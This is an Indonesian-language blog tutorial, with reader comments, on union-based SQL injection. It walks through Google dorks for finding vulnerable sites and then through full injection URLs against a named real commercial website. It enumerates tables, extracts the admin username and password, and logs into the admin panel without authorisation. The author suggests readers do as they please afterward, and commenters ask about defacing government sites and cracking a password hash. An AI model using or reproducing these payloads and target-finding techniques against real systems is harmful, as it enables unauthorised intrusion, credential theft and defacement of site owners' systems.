Apa itu SQL Injection?
SQL Injection (SQLI) adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url
Bagaimana cara mengetahui web yang terkenal celah SQLI?
Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu situs terkena celah SQL Injection atau tidak adalah dengan cara membuat suatu error pada URL tersebut,dengan cara menambah karakter (') [tanpa tanda kurung setelah angka/id pada situs tersebut
Berikut adalah contoh url yg memungkinkan terkena celah SQL Injection
http://situstarget.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak, seperti dibawah ini
http://situstarget.com/berita.php?id=23' -->web terlihat error
Bagaimana cara mencari target suatu web untuk di eksekusi?
Gampang saja,kalo untuk mecari web yang terkena celah SQL Injection adalah dengan cara dorking di google :D
Apa itu dorking? dorking adalah suatu cara attacker untuk mencari struktur pada sebuah situs seperti mencari direktori/file/script dan lain lain
Untuk Dork SQLI sobat bisa gunakan dork-dork di bawah ini :
inurl:azerty.php?id=
inurl:bouquin.php?id=
inurl:lien.php?id=
inurl:clavier.php?id=
inurl:index.php?id=inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Oke mungkin sudah cukup penjelasan tentang SQL Injection,sekarang kita coba untuk melakukan teknik SQL Injection ini :D
Pertama-pertama kita mencari target dengan teknik dorking :D seperti dibawah ini
Nah seperti contioh diatas saya menemukan web yang memungkinkan memiliki celah SQL Injection,yup langsung aja kita test url tersebut dengan memberikan karakter (') pada id url agar kita bisa mengetahui web tersebut bisa di SQL Injection atau tidak :D
http://morningkiss.com.my/product_detail.php?id=116
Contoh gambar diatas adalah pada saat kondisi web masih normal dan belum kita berikan karakter (') pada id url,sekarang kita coba tambahkan karakter (') pada id url menjadi :
Seperti kita lihat pada gambar diatas setelah kita berikan karakter (') pada url id maka terdapat error pada isi web tersebut "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" jika begitu berarti web tersebut terkena celah SQL Injection.
NP : untuk error pada website bisa berbeda - beda pesan teksnya tidak selalu seperti contoh diatas
Berikut contoh-contoh error pada web yang terkena celah SQL Injection
-You have an error in your SQL syntax;
-Warning: mysql_fetch_array()
-Warning: mysql_num_rows()
-dan masih banyak lagi
Oke lanjut,sekarang kita coba untuk mengetahui isi database web tersebut menggunakan perintah-perintah Query ;)
Untuk mengetahui isi database web tersebut,pertama kita harus mencoba temukan ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id menjadi :
Untuk lebih jelasnya seperti dibawah ini
Nah ketika kita coba tambahkan perintah tersebut,web kembali normal tetapi disini kita harus mengetahui ada berapa column database itu,berarti kita harus mencarinya dengan perintah sebelumnya dengan merubah perintah "order by 1--+-" menjadi "order by 2--+-" dan jika kita sudah mengubahnya dengan "order by 2 --+-" kondisi web masih normal kita coba terus dengan menambahkan angka tersebut terus menerus sampai mendapatkan suatu error seperti gambar dibawah ini
berarti kita mengetahuinya,column database tersebut terdapat 8 column,loh kok kenapa 8 column? sedangkan di website errornya sampai di order 9? oke saya jelaskan disini. Kenapa 8 column? kerena setelah kita coba dengan perintah order by 1,2,3,4,5,6,7 sampai 8 tidak terdapat error dan yang terjadi error pada order by 9,secara logika berarti web tersebut tidak ada database di column ke 9 dan hanya ada sampai column ke 8. ya seperti itulah kurang lebih jelasnya hehe..
Oke lanjut..
setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi :
Setekah di coba ternyata muncul angka - angka ajaib hehe,disana kita lihat terdapat angka 2 dan 6 yang sebelumnya tidak ada pernah ada angka tersebut,karna dari itu disebut angka ajaib hehe..
pertanyaannya untuk apa angka ajaib itu? oke saya jelaskan,kan sebelumnya kita mau mencari letak isi column laman pada web tersebut diantara 1-8 column,nah itu dia angka ajaib itu adalah letak column isi lama pada web tersebut,di column 2 atau 6 itu sama saja :D
Oke ketika kita sudah mengetahui letak columnya,kita bisa melihat apa saja yang kita perlukan melalui perintah-perintah query seperti melihat versi database,nama column database,dan lain-lain
Yup,untuk melihat version database kita menggunakan perintah "@@version" pada angka ajaib tersebut dengan cara mengubah angka 2 (angka 2 atau 6 sama saja,tapi disini saya menggunakan angka 2) menjadi "@@version" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,@@version,3,4,5,6,7,8--+-
Dan ternyata version databasenya 5.1.73 berarti kita bisa melanjutkannya hehe
NP:Tapi biasanya rata2 semua web sudah menggunakan version databse 5 keatas,jadi jarang version 4 kebawah
Lalu setelah sudah mengetahui version,sekarang yang kita lakukan adalah melihat isi nama - nama database tersebut,tujuan melihat isi database bermacem macem seperti kita ingin melihat user dan password admin atau data-data penting lainnya jadi celah SQL Injection ini cukup berbahaya juga
Oke lanjut,cara untuk melihat isi nama-nama database kita menggunakan perintah "group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+-
Dan alhasil kita lihat,kita mendapatkan isi-isi database web tersebut :D sekarang kita coba mencari user admin pada web tersebut,biasanya isi database user admin begitu namanya admin,useradmin,loginadmin,useradmin,atau yang lainnya yang bergantungan dengan admin,nah disini kita bisa melihat kita sepertinya menemukan table database admin yaitu dengan "tbl_admin" ya udah kalo begitu kita coba bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar atau kalian bisa download dan install di sini
NP: jika tidak muncul HackBarnya pada saat sudah selesai install kalian bisa memunculkan hanya tinggal klik kanan pada menu firefox lalu pilih HackBar
Dan untuk cara penggunaanya cukup mudah hanya tinggal pilih SQL > MySQL > MySQL CHAR() setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan alhasil kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah itu kita masukan ke perintah SQL Injection
Nah setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-
Dan ternyata pada saat kita gunakan perintah tersebut kita bisa melihat disana ada column database untuk username admin dan password admin,ya sudah langsung saja kita bongkar dengan sedikit lagi mengubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-"
NP:perintah yang terdapat di antara admin_username dan admin_password adalah perintah untuk memisahkan/pembatas kerakter (:) agar username dan password tidak berantakan ketika kita lihat jadi bisa kita gunakan permisah dengan perintah 0x3a
dan urlnya sekarang menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+-
daaannnn..... Gotcha kita mendapatkan username dan password admin hehehe..
Lalu langkah terakhir tinggal mencari tempat admin loginnya biasanya sih di /admin atau /administrators tapi jika kalian coba lalu tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka
tapi bisa juga kita gunakan untuk mencari admin login lohhh.. cara menggunakannya cukup mudah hanya dengan memasukan web yg ingin kita scan di kolom scan pada software tersebut lalu software tersebut akan secara otomatis memberikan informasi kepada kita direktori pada web tersebut hehe untuk lebih jelasnya lihat gambar dibawah ini :
dan kita lihat disana saya mencoba scan web http://morningkiss.com.my dan ternyata admin loginnya terdapat pada dir adminCP,ketika agan sekalian sudah tau dir admin dan username password admin tinggal tunggu apalagi coba kita login
Dan hasil kita bisa login,sekarang tinggal seterah agan dah mau diapain,
Yup sampai disini dulu Tutorial dari saya,untuk kurang lebihnya mohon maaf jika ada kesalahan dalam pengetikan dan Penyampaiannya :D
Jika ada pertanyaan atau saran silahkan komentar dibawah ini :)











email aja gan buat kontaknya,thanks atas kujungannya (y)
ReplyDeleteoke gan nanti ane maen2 ke blog ente,makasih atas kunjungannya (y)
ReplyDeletegan kalo untuk solusi setelah kita melakukan injection itu bagaimana ?
ReplyDeletesolusi mencegahnya atau solusi setelah mendapatkan datanya? kalo solusi setelah inject web dan login ke adminnya seterah agan,biasanya ada yang mendeface atau sebagainya..
Deletenih saya kan ada tugas ya untuk sekedar menginjek admin dan paswordnya saya buat web melalui dreamweaver buatnya hanya formloginnya aja tapi setelah saya buat ga bisa dikasih kutip itu kalau melalui skripnya gimana gan ?
DeleteApakah sudah buat phpnya sebagai koneksi antara database dengan form loginnya?
Deletejos gondos om..hee
ReplyDeleteSip gan,thanks udh berkunjung
Deleteweleh2 gan artikelnya super keren. thx gan. sering2 bikin artikel haking gan, maklum ane jadi ketagihan banget gara2 artikel agan
ReplyDeleteIya kalo ada waktu ane share2 lagi,yang buat pembelajaran aja :D
DeletePendopoSquad Hack
ReplyDeleteKunjungi blog ini untuk info tentang hack dan lain lain
Salam pendoposquad
http://www.pendoposquadhack.com
bro kalau gak ada errornya gimana?
ReplyDeletemisalnya jika terdapat vuln sqli pada berita,maka jika di beri kutip di url,biasanya textnya ada yg hilang
DeleteNice info gan, sangat membantu untuk proses pembelajaran ane...
ReplyDeleteMampir ya gan..thx
mfadhil17.blogspot.co.id
wuihh mantap gan artikelnya, tapi ada satu hal nih gan, kalau belum dapat tabel adminnya hanya nge stuck pada bagian http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+- ini saja gimana gan ?
ReplyDeleteKomentar ini telah dihapus oleh administrator blog.
ReplyDeletesaya sangat terbantu dengan artikel agan.. trimakasih banyak ya gan
ReplyDeletetolong buat artikel tentang deface situs pemeritah (go.id)
trimakasih ya
Sama - sama gan,makasih sudah mau berkunjung
DeleteThanks gan...
ReplyDeleteIjin belajar yah...
Silahkan gan
DeleteKeren sob, cra krjanya hampir sm dgn software hav***.exe
ReplyDeleteBisa ni buat nmbh ilmu, boleh mnta emailnya sob buat kontak. Trmksh
gan ini decriptnya ai gimana 3f973879c30dec7ae5bfa6f2ed8412fb
ReplyDeleteSaya juga sama sama masih belajar, kalo buat sharing sharingan boleh gan.
ReplyDeleteThanks sudah berkunjung gan
So...:> Ngasih tw Vuln.... :@ Padahal web ente sendiri masih vuln.. :v...:) Sekarang ane dah kasih tw bahwa web ente itu vuln cepet perbaiki sebelum ada yang ngerusak... :)
ReplyDeletewow,vuln dimana gan? padahal web yang digunakan blogger :D
DeleteMantap makasih ilmunya. Help me dong. Gmn ya carana supaya tau password user pada wab mig.me
ReplyDeleteweb sebesar mig.me tidak mungkin dengan mudahnya mendapatkan akses,perlu banyak di analisa terlebih dahulu :)
Deletegan seumpama target kita web pilihan kita sendiri ndak bisa ya ,, seumpa kita punya web sendiri untuk coba2,, dan kita mau mencoba untuk ngehack? berarti bisanya cuma web yang di tentukan Dork SQLI ?
ReplyDelete